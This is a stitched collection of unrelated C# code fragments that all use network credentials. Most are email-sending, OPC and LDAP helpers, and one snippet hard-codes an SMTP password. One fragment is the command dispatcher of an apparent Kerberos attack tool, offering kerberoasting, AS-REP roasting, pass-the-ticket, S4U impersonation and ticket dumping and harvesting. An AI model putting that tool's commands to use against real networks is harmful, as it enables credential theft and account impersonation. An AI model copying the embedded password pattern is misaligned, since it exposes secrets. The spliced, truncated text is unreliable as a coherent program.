res.RideRentDays + " days"; var ride = _context.Rides.FirstOrDefault(i => i.ID == res.RideID); msg.Body += "\nCar maker/model/type " + ride.CarMaker + "/" + ride.CarModel + "/" + ride.CarType; msg.Body += "\nProduction year : " + ride.ProductionYear; } msg.Body += "\n\nTotal price : " + res.Price; } messages.Add(user.Id, msg); //string text = string.Format("Please click on this link to {0}: {1}", msg.Subject, msg.Body); //string html = "Please confirm your account by clicking this link: <a href=\"" + msg.Body + "\">link</a><br/>"; //msg.AlternateViews.Add(AlternateView.CreateAlternateViewFromString(text, null, MediaTypeNames.Text.Plain)); //msg.AlternateViews.Add(AlternateView.CreateAlternateViewFromString(html, null, MediaTypeNames.Text.Html)); } } } Dictionary <int, List <int> > seatID = new Dictionary <int, List <int> >(); foreach (var item in reservation.Reservations) { List <int> SeatIDS = new List <int>(); foreach (var seat in item.Seats) { SeatIDS.Add(seat.ID); } item.Seats = null; _context.Reservations.Add(item); _context.SaveChanges(); seatID[item.ID] = SeatIDS; } foreach (var item in reservation.Seats) { foreach (var seat in seatID) { foreach (var id in seat.Value) { if (item.ID == id) { item.Name = item.Type.ToString(); item.Type = 4; item.ReservationID = seat.Key; _context.Entry(item).State = EntityState.Modified; _context.SaveChanges(); } } } } foreach (var item in reservation.Reservations) { if (item.ReservationType == 3) { messages[item.UserID].Body += "\n\nPlease accept your flight invitation : http://localhost:4200/reserveInvite/" + item.UserID + "/" + item.ID; } } foreach (var item in messages) { SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", Convert.ToInt32(587)); smtpClient.UseDefaultCredentials = false; System.Net.NetworkCredential credentials = new System.Net.NetworkCredential("*****@*****.**", "helpmeplease"); smtpClient.Credentials = credentials; smtpClient.EnableSsl = true; smtpClient.Send(item.Value); } return(Ok()); }
public static string BasicAuthorizationHeader(Encoding encoding, System.Net.NetworkCredential credential) { return(AuthorizationHeader(encoding, HttpMethod.UNKNOWN, null, System.Net.AuthenticationSchemes.Basic, credential)); }
static void Main(string[] args) { Logo(); var arguments = new Dictionary <string, string>(); foreach (string argument in args) { int idx = argument.IndexOf(':'); if (idx > 0) { arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); } else { arguments[argument] = ""; } } if (arguments.ContainsKey("asktgt")) { string user = ""; string domain = ""; string hash = ""; string dc = ""; bool ptt = false; uint luid = 0; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } if (arguments.ContainsKey("/createnetonly")) { // if we're starting a hidden process to apply the ticket to if (!Helpers.IsHighIntegrity()) { Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); return; } if (arguments.ContainsKey("/show")) { luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true); } else { luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false); } Console.WriteLine(); } if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) { Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n"); return; } else { Ask.TGT(user, domain, hash, encType, ptt, dc, luid); return; } } if (arguments.ContainsKey("renew")) { bool ptt = false; string dc = ""; if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (arguments.ContainsKey("/autorenew")) { // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, ptt, dc); } } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (arguments.ContainsKey("/autorenew")) { // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, ptt, dc); } } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n"); return; } } if (arguments.ContainsKey("s4u")) { string targetUser = ""; string targetSPN = ""; string altSname = ""; string user = ""; string domain = ""; string hash = ""; bool ptt = false; string dc = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/impersonateuser")) { targetUser = arguments["/impersonateuser"]; } if (arguments.ContainsKey("/msdsspn")) { targetSPN = arguments["/msdsspn"]; } if (arguments.ContainsKey("/altservice")) { altSname = arguments["/altservice"]; } if (String.IsNullOrEmpty(targetUser)) { Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n"); return; } if (String.IsNullOrEmpty(targetSPN)) { Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else if (arguments.ContainsKey("/user")) { // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request user = arguments["/user"]; if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname); return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!"); Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n"); return; } } if (arguments.ContainsKey("ptt")) { uint luid = 0; if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); LSA.ImportTicket(kirbiBytes, luid); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); LSA.ImportTicket(kirbiBytes, luid); } else { Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n"); return; } } if (arguments.ContainsKey("purge")) { uint luid = 0; if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } LSA.Purge(luid); } else if (arguments.ContainsKey("kerberoast")) { string spn = ""; string user = ""; string OU = ""; if (arguments.ContainsKey("/spn")) { spn = arguments["/spn"]; } if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/ou")) { OU = arguments["/ou"]; } if (arguments.ContainsKey("/creduser")) { if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) { Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); return; } string[] parts = arguments["/creduser"].Split('\\'); string domainName = parts[0]; string userName = parts[1]; if (!arguments.ContainsKey("/credpassword")) { Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); return; } string password = arguments["/credpassword"]; System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName); Roast.Kerberoast(spn, user, OU, cred); } else { Roast.Kerberoast(spn, user, OU); } } else if (arguments.ContainsKey("asreproast")) { string user = ""; string domain = ""; string dc = ""; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(dc)) { Roast.ASRepRoast(user, domain); } else { Roast.ASRepRoast(user, domain, dc); } } else if (arguments.ContainsKey("dump")) { if (arguments.ContainsKey("/luid")) { string service = ""; if (arguments.ContainsKey("/service")) { service = arguments["/service"]; } UInt32 luid = 0; try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } LSA.ListKerberosTicketData(luid, service); } else if (arguments.ContainsKey("/service")) { LSA.ListKerberosTicketData(0, arguments["/service"]); } else { LSA.ListKerberosTicketData(); } } else if (arguments.ContainsKey("monitor")) { string targetUser = ""; int interval = 60; if (arguments.ContainsKey("/filteruser")) { targetUser = arguments["/filteruser"]; } if (arguments.ContainsKey("/interval")) { interval = Int32.Parse(arguments["/interval"]); } Harvest.Monitor4624(interval, targetUser); } else if (arguments.ContainsKey("harvest")) { int intervalMinutes = 60; if (arguments.ContainsKey("/interval")) { intervalMinutes = Int32.Parse(arguments["/interval"]); } Harvest.HarvestTGTs(intervalMinutes); } else if (arguments.ContainsKey("describe")) { if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n"); return; } } else if (arguments.ContainsKey("createnetonly")) { if (arguments.ContainsKey("/program")) { if (arguments.ContainsKey("/show")) { LSA.CreateProcessNetOnly(arguments["/program"], true); } else { LSA.CreateProcessNetOnly(arguments["/program"]); } } else { Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n"); } } else { Usage(); } }
/// <summary> /// Função para enviar um e-mail /// </summary> /// <param name="to">Parametro tipo String que define para quem vai o e-mail</param> /// <param name="subject">Parametro tipo String que define qual o assunto do e-mail</param> /// <param name="body">Parametro tipo String que define o corpo do e-mail</param> /// <param name="msg">Parametro tipo String que retorna uma menssagem apenas se o e-mail gerar uma exceção</param> /// <param name="from">Parametro tipo String que define de quem é o e-mail possue um valor default</param> /// <param name="arquivo">Parametro tipo String que recebe o caminho do arquivo para anexo possue um valor default</param> /// <returns>Retorna true caso o e-mail tenha sido enviado com sucesso e false caso tenha ocorrido algum problema</returns> /// <exception cref="System.Exception">Lança uma exeção caso não seja possivel enviar e-mail</exception> /// <example> /// var ee = new EnviaEmail(); /// bool mando = ee.MandaEmail(EMAIL_PARA, TITULO_DO_EMAIL, MENSSAGEM_DO_EMAIL, out VARIAVEL_TIPO_STRING, EMAIL_DE (OPCIONAL), CAMINHO_DO_ARQUIVO_PARA_ANEXO (OPCIONAL)); /// </example> public bool MandaEmail(string to, string subject, string body, out string msg, string from = "", string arquivo = "") { from = string.IsNullOrWhiteSpace(from) ? this.login : from; //Verifica se falta algum parametro para envio de e-mail if (string.IsNullOrWhiteSpace(this.smtp) || /* string.IsNullOrWhiteSpace(this.login) || string.IsNullOrWhiteSpace(this.senha) ||*/ string.IsNullOrWhiteSpace(from)) { string listItens = string.Empty; listItens = string.Concat(string.IsNullOrWhiteSpace(this.smtp) ? " SMTP vazio. " : string.Empty); listItens = string.Concat(string.IsNullOrWhiteSpace(this.login) ? " LOGIN vazio. " : string.Empty); listItens = string.Concat(string.IsNullOrWhiteSpace(this.senha) ? " SENHA vazio. " : string.Empty); listItens = string.Concat(string.IsNullOrWhiteSpace(from) ? " FROM vazio. " : string.Empty); msg = string.Format("Falta os seguintes itens para enviar e-mail: {0}", listItens); return(false); } //cria o e-mail MailMessage mailMsg = new MailMessage(); //configura o e-mail MailAddress mailAd = new MailAddress(from); //configura o smtp SmtpClient smtpClient = new SmtpClient(this.smtp); try { var emails = to.ToString().Split(';'); foreach (var i in emails) { //define para quem será enviado mailMsg.To.Add(i.Trim()); } //define de quem é o e-mail mailMsg.From = mailAd; //define o assunto mailMsg.Subject = subject; //define o corpo do e-mail mailMsg.Body = body; mailMsg.IsBodyHtml = true; mailMsg.Priority = MailPriority.Normal; if (!string.IsNullOrEmpty(arquivo)) { if (File.Exists(arquivo)) { mailMsg.Attachments.Add(new Attachment(arquivo)); } } //habilita o ssl (essa configuração depende do servidor smtp) smtpClient.EnableSsl = false; //configura as credenciais para enviar o e-mail System.Net.NetworkCredential cred = new System.Net.NetworkCredential(login, senha); //define as credenciais smtpClient.Credentials = cred; //envia o e-mail smtpClient.Send(mailMsg); //limpa a menssagem de retorno msg = string.Empty; //retorna verdadeiro pois enviou o e-mail return(true); } catch (Exception exp) { //retorna a menssagem de erro msg = exp.Message; //retorna falso pois não enviou o e-mail return(false); } }
public void Connect() { int i; try { #if CREDENTIALS LogMessage("Test if CNC Exe IsExecuting()", 1); if ((sCNCProcessName.Length > 0) && !IsExecuting(sOPCMachine, sCNCProcessName)) { throw new Exception("Cannot start OPC Server" + sCNCProcessName + " not running"); } LogMessage("Connect to CNC", 1); // This is used as credentials to logon ont remote pc to see if CNC running System.Net.NetworkCredential credential; if (sDomain.Length > 0) { credential = new System.Net.NetworkCredential(sUser, sPassword, sDomain); } else { credential = new System.Net.NetworkCredential(sUser, sPassword); // , sDomain); } #endif _opcserver = new OpcServer(); LogMessage("Attempt OPC Server Connection", LogLevel.INFORMATION); // _opcserver will be null if failed... _opcserver.Connect(this.clsid, this.sIpAddress); LogMessage("Create OPC Group", LogLevel.DEBUG); opcgroup = _opcserver.AddGroup("OPCCSharp-Group", false, 900); if (opcgroup == null) { throw new Exception("Connect - AddGroup failed"); } // FIXME: this only works if OPC item exists. // Add items to OPC Group LogMessage("Add OPC Items", LogLevel.DEBUG); OPCItemResult[] itemresult; opcgroup.AddItems(tags, out itemresult); if (itemresult == null) { throw new Exception("Connect - OPC AddItems failed"); } LogMessage("Check OPC items for errors.", LogLevel.DEBUG); for (i = 0; i < itemresult.Length; i++) { // If the OPC item failed - remove it from the tags to be updated. if (HRESULTS.Failed(itemresult[i].Error)) { LogMessage("OPC AddItems Error: " + tags[i].ItemID, LogLevel.DEBUG); itemresult = (OPCItemResult[])RemoveAt(itemresult, i); tags = (OPCItemDef[])RemoveAt(tags, i); handlesSrv = (int[])RemoveAt(handlesSrv, i); continue; } handlesSrv[i] = itemresult[i].HandleServer; } // read group LogMessage("OPC ReadStatus", LogLevel.DEBUG); ReadStatus(); LogMessage("OPC ReadGroup", LogLevel.DEBUG); ReadGroup(); } catch (Exception e) { LogMessage("OPC Connect Error: " + e.Message, LogLevel.FATAL); Disconnect(); } }
public Mail(string usrCredentials, string passCredentilas) { mobCredentials = new System.Net.NetworkCredential(usrCredentials, passCredentilas); }
public static DirectoryEntry GetLdapSearchRoot(System.Net.NetworkCredential cred, string OUName, string domainController, string domain) { DirectoryEntry directoryObject = null; string ldapPrefix = ""; string ldapOu = ""; //If we have a DC then use that instead of the domain name so that this works if user doesn't have //name resolution working but specified the IP of a DC if (!String.IsNullOrEmpty(domainController)) { ldapPrefix = domainController; } else if (!String.IsNullOrEmpty(domain)) //If we don't have a DC then use the domain name (if we have one) { ldapPrefix = domain; } else if (cred != null) //If we don't have a DC or a domain name but have credentials, get domain name from them { ldapPrefix = cred.Domain; } if (!String.IsNullOrEmpty(OUName)) { ldapOu = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); } else if (!String.IsNullOrEmpty(domain)) { ldapOu = String.Format("DC={0}", domain.Replace(".", ",DC=")); } //If no DC, domain, credentials, or OU were specified if (String.IsNullOrEmpty(ldapPrefix) && String.IsNullOrEmpty(ldapOu)) { directoryObject = new DirectoryEntry(); } else //If we have a prefix (DC or domain), an OU path, or both { string bindPath = ""; if (!String.IsNullOrEmpty(ldapPrefix)) { bindPath = String.Format("LDAP://{0}", ldapPrefix); } if (!String.IsNullOrEmpty(ldapOu)) { if (!String.IsNullOrEmpty(bindPath)) { bindPath = String.Format("{0}/{1}", bindPath, ldapOu); } else { bindPath = String.Format("LDAP://{1]", ldapOu); } } directoryObject = new DirectoryEntry(bindPath); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; // Removed credential validation check because it just caused problems and doesn't gain us anything (if invalid // credentials are specified, the LDAP search will fail with "Logon failure: bad username or password" anyway) //string contextTarget = ""; //if (!string.IsNullOrEmpty(domainController)) //{ // contextTarget = domainController; //} //else //{ // contextTarget = cred.Domain; //} //using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, contextTarget)) //{ // if (!pc.ValidateCredentials(cred.UserName, cred.Password)) // { // throw new Exception(String.Format("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain)); // } // else // { // Console.WriteLine("[*] Using alternate creds : {0}", userDomain); // } //} } return(directoryObject); }
/// <summary> /// Send an Email using System.Net.Mail /// </summary> /// <param name="isHTML">Indicates the Email body should be set to HTML</param> /// <param name="MailFrom">Email Address From</param> /// <param name="EmailTo">Email Address To</param> /// <param name="MessageBody">The Email message body</param> /// <param name="Subject">The Email Subject</param> /// <param name="SMTPHost">SMTP Host address</param> /// <param name="SMTPUser">SMTP Username</param> /// <param name="SMTPPass">SMTP Password</param> /// <param name="SMTPPort">SMTP Port to use (optional, default=25) <see cref="int"/> </param> /// <param name="SMTPSSL">SMTP SSL required (optional, default=false) <see cref="bool"/> </param> /// <param name="SMTPAuth">SMTP Authentication required (optional, default=false) <see cref="bool"/></param> /// <param name="BCCList">BCC List to send email too, this is a ; seperated list (optional)</param> /// <param name="CCList">CC List to send email too, this is a ; seperated list (optional)</param> /// <param name="imagespath">Path to where any images are located to embed in the Email body. will convert any src= references to the embeded image</param> /// <param name="AttachmentPaths">A list of attachments to include in the email message (optional) <see cref="List{T}"/></param> /// <param name="LogErrors">Log any errors to "SMTPErrors.Log" file in the application folder</param> /// <returns>True if successful or False if an error occurs. <seealso cref="EmailFailedReason"/></returns> public static bool SendEmailMessage(bool isHTML, string MailFrom, string EmailTo, string MessageBody, string Subject, string SMTPHost, string SMTPUser, string SMTPPass, int SMTPPort = 25, bool SMTPSSL = false, bool SMTPAuth = false, string BCCList = null, string CCList = null, string imagespath = null, List <string> AttachmentPaths = null, bool LogErrors = false) { List <string> images = new List <string>(); // This is to store the images found AlternateView avHtml = null; try { // Now deal with images so they can be embedded // -------------------------- string tempcontent = MessageBody + "src=\""; // Ensures we get the last field string strTemp = ""; if (!String.IsNullOrEmpty(imagespath)) { // Build up the list of images parts in the Content do { tempcontent = tempcontent.GetAfter("src=\""); strTemp = tempcontent.GetBefore("\""); if (!String.IsNullOrEmpty(strTemp)) { images.Add(strTemp.Replace("%20", " ")); } }while (!String.IsNullOrEmpty(tempcontent)); // Found some images so carry on if (images.Count > 0) { int counter = 1; foreach (string item in images) { // replace images with CID entries MessageBody = MessageBody.Replace(String.Format("src=\"{0}\"", item), String.Format("src=\"cid:image{0}\"", counter++)); } avHtml = AlternateView.CreateAlternateViewFromString(MessageBody, null, MediaTypeNames.Text.Html); // //AlternateView avText = AlternateView.CreateAlternateViewFromString(sMessage, null, MediaTypeNames.Text.Plain); counter = 1; if (!imagespath.EndsWith(@"\")) { imagespath += @"\"; } string strItem = ""; try { foreach (string item in images) { // Create a LinkedResource object for each embedded image and // add to the Alternative view object string ext = System.IO.Path.GetExtension(item); strItem = item; LinkedResource imageitem; switch (ext.ToLower()) { case ".jpg": case ".jpeg": imageitem = new LinkedResource(imagespath + strItem, MediaTypeNames.Image.Jpeg); break; case ".gif": imageitem = new LinkedResource(imagespath + strItem, MediaTypeNames.Image.Gif); break; case ".png": imageitem = new LinkedResource(imagespath + strItem, "image/png"); break; default: imageitem = null; break; } imageitem.ContentId = "image" + counter++; avHtml.LinkedResources.Add(imageitem); // } } catch (Exception ex) { if (LogErrors) { WriteLogFile("Possible invalid Image - " + strItem, "SMTPErrors", null, null, true, true); WriteLogFile($"Trace- {ex.Message} {Environment.NewLine}{ex.StackTrace}", "SMTPErrors", null, null, true, true); } EmailFailedReason = ex.Message; return(false); } } } } catch (Exception ex) { if (LogErrors) { WriteLogFile($"Trace- {ex.Message} {Environment.NewLine}{ex.StackTrace}", "SMTPErrors", null, null, true, true); } EmailFailedReason = ex.Message; } try { Int32 iSMTPPort = SMTPPort; MailMessage mailMsg = new MailMessage(); if (!EmailTo.EndsWith(";")) { EmailTo += ";"; } string[] sToAddresses = EmailTo.Split(';'); foreach (string address in sToAddresses) { if (!String.IsNullOrEmpty(address)) { mailMsg.To.Add(address); } } // Bcc ? if (!String.IsNullOrEmpty(BCCList)) { if (!BCCList.EndsWith(";")) { BCCList += ";"; } string[] sBccAddresses = BCCList.Split(';'); foreach (string address in sBccAddresses) { if (!String.IsNullOrEmpty(address)) { mailMsg.Bcc.Add(address); } } } // CC ? if (!String.IsNullOrEmpty(CCList)) { if (!CCList.EndsWith(";")) { CCList += ";"; } string[] sCcAddresses = CCList.Split(';'); foreach (string address in sCcAddresses) { if (!String.IsNullOrEmpty(address)) { mailMsg.CC.Add(address); } } } // From if (MailFrom == "") { MailFrom = "postmaster@localhost"; } MailAddress mailAddress = new MailAddress(MailFrom); mailMsg.From = mailAddress; // Subject and Body mailMsg.Subject = Subject; mailMsg.Body = MessageBody; mailMsg.IsBodyHtml = isHTML; if (isHTML) { if (images.Count > 0) { mailMsg.AlternateViews.Add(avHtml); } } // Add attachments if any if (AttachmentPaths != null) { foreach (string AttPath in AttachmentPaths) { mailMsg.Attachments.Add(new System.Net.Mail.Attachment(AttPath)); } } // Init SmtpClient and send SmtpClient smtpClient = new SmtpClient(SMTPHost, Convert.ToInt32(iSMTPPort)); if (SMTPAuth) { System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(SMTPUser, SMTPPass); smtpClient.Credentials = credentials; } if (SMTPSSL) { smtpClient.EnableSsl = true; } smtpClient.Send(mailMsg); mailMsg.Dispose(); return(true); } catch (Exception ex) { EmailFailedReason = ex.Message; if (LogErrors) { WriteLogFile("Error Sending Email", "SMTPErrors", null, null, true, true); WriteLogFile($"Trace- {ex.Message} {Environment.NewLine}{ex.StackTrace}", "SMTPErrors", null, null, true, true); } return(false); } }
static void Main(string[] args) { string server = null, searchBase = null, filter = null, user = null, password = null, domain = null; int connCount = 5; bool showUsage = false; System.Net.NetworkCredential nc = null; try { for (int i = 0; i < args.Length; i++) { switch (args[i]) { case "-?": case "/?": showUsage = true; break; case "-server": case "-s": server = args[++i]; break; case "-filter": case "-f": case "-r": filter = args[++i]; break; case "-count": case "-c": connCount = int.Parse(args[++i]); break; case "-b": searchBase = args[++i]; break; case "-user": case "-u": user = args[++i]; break; case "-domain": case "-d": domain = args[++i]; break; case "-password": case "-p": case "-w": password = args[++i]; break; } } if (showUsage || string.IsNullOrEmpty(server) || string.IsNullOrEmpty(filter)) { Console.Error.WriteLine("Zetetic.Ldap.MassDeleter {0}", System.Reflection.Assembly.GetExecutingAssembly().GetName().Version); Console.Error.WriteLine("Usage: -s <server> -b <searchBase> -f <filter> [-c connectionCount] [-u <user> -p <pass> [[-d domain]]"); return; } if (!string.IsNullOrEmpty(user)) { if (string.IsNullOrEmpty(domain)) { nc = new System.Net.NetworkCredential(user, password); } else { nc = new System.Net.NetworkCredential(user, password, domain); } } Delete(server, searchBase, filter, connCount, nc); } catch (Exception ex) { Console.Error.WriteLine("Error: {0} :: {1}", ex.Message, ex.StackTrace); System.Environment.ExitCode = 1; } }
public void Send() { try { SmtpClient mySmtpClient = new SmtpClient(ConfigurationManager.AppSettings["mailServer"]); // set smtp-client with basicAuthentication mySmtpClient.UseDefaultCredentials = false; System.Net.NetworkCredential basicAuthenticationInfo = new System.Net.NetworkCredential(ConfigurationManager.AppSettings["mailUsername"], ConfigurationManager.AppSettings["mailPassword"]); mySmtpClient.Credentials = basicAuthenticationInfo; mySmtpClient.Port = Convert.ToInt32(ConfigurationManager.AppSettings["mailPort"]); mySmtpClient.EnableSsl = true; // add from,to mailaddresses //MailAddress from = new MailAddress(ConfigurationManager.AppSettings["mailFromAddress"]); //MailAddress to = new MailAddress(ConfigurationManager.AppSettings["mailToAddress"]); //MailMessage myMail = new System.Net.Mail.MailMessage(from, to); MailMessage myMail = new MailMessage(); myMail.To.Add(ConfigurationManager.AppSettings["mailToAddress"]); myMail.From = new MailAddress(ConfigurationManager.AppSettings["mailFromAddress"]); // add ReplyTo //MailAddress replyto = new MailAddress("*****@*****.**"); //myMail.ReplyToList.Add(replyTo); // add CC //MailAddress ccTo = new MailAddress(ConfigurationManager.AppSettings["mailCCAddress"]); //myMail.CC.Add(ccTo); // set subject and encoding myMail.Subject = ConfigurationManager.AppSettings["mailSubject"] + DateTime.Now.Month + "/" + DateTime.Now.Day + "/" + DateTime.Now.Year; myMail.SubjectEncoding = System.Text.Encoding.UTF8; // set body-message and encoding myMail.Body = EmailBody; myMail.BodyEncoding = System.Text.Encoding.UTF8; // text or html myMail.IsBodyHtml = true; // attachments //if (System.IO.File.Exists(newValidFile)) //{ // Attachment attachment = new Attachment(newValidFile); // myMail.Attachments.Add(attachment); //} //if (System.IO.File.Exists(newInvalidFile)) //{ // Attachment attachment = new Attachment(newInvalidFile); // myMail.Attachments.Add(attachment); //} //if (System.IO.File.Exists(assessmentReportFile)) //{ // Attachment attachment = new Attachment(assessmentReportFile); // myMail.Attachments.Add(attachment); //} mySmtpClient.Send(myMail); _logger.Info("Email sent."); } catch (Exception ex) { _logger.Error(ex); } }
/// <summary> /// Print or Export Crystal Report /// </summary> private void PerformOutput() { if (_printToPrinter) { var copy = ReportArguments.PrintCopy; _reportDoc.PrintToPrinter(copy, true, 0, 0); _logger.Write(string.Format("Report printed to : {0} - {1} Copies", _reportDoc.PrintOptions.PrinterName, copy)); } else { _reportDoc.ExportOptions.ExportDestinationType = ExportDestinationType.DiskFile; DiskFileDestinationOptions diskOptions = new DiskFileDestinationOptions(); _reportDoc.ExportOptions.DestinationOptions = diskOptions; diskOptions.DiskFileName = _outputFilename; _reportDoc.Export(); _logger.Write(string.Format("Report exported to : {0}", _outputFilename)); if (ReportArguments.EmailOutput) { using (MailMessage _MailMessage = new MailMessage()) { _MailMessage.Attachments.Add(new Attachment(_outputFilename)); _MailMessage.From = new MailAddress(ReportArguments.MailFrom, ReportArguments.MailFromName); _MailMessage.Subject = ReportArguments.EmailSubject; if (ReportArguments.EmailBody != "NA") { _MailMessage.Body = ReportArguments.EmailBody; } _MailMessage.To.Add(ReportArguments.MailTo); if (ReportArguments.MailCC != "NA") { _MailMessage.CC.Add(ReportArguments.MailCC); } if (ReportArguments.MailBcc != "NA") { _MailMessage.Bcc.Add(ReportArguments.MailBcc); } SmtpClient smtpClient = new SmtpClient(); smtpClient.Host = ReportArguments.SmtpServer; smtpClient.Port = ReportArguments.SmtpPort; smtpClient.EnableSsl = ReportArguments.SmtpSSL; if (ReportArguments.SmtpUN != null && ReportArguments.SmtpPW != null) { //Uses Specified credentials to send email 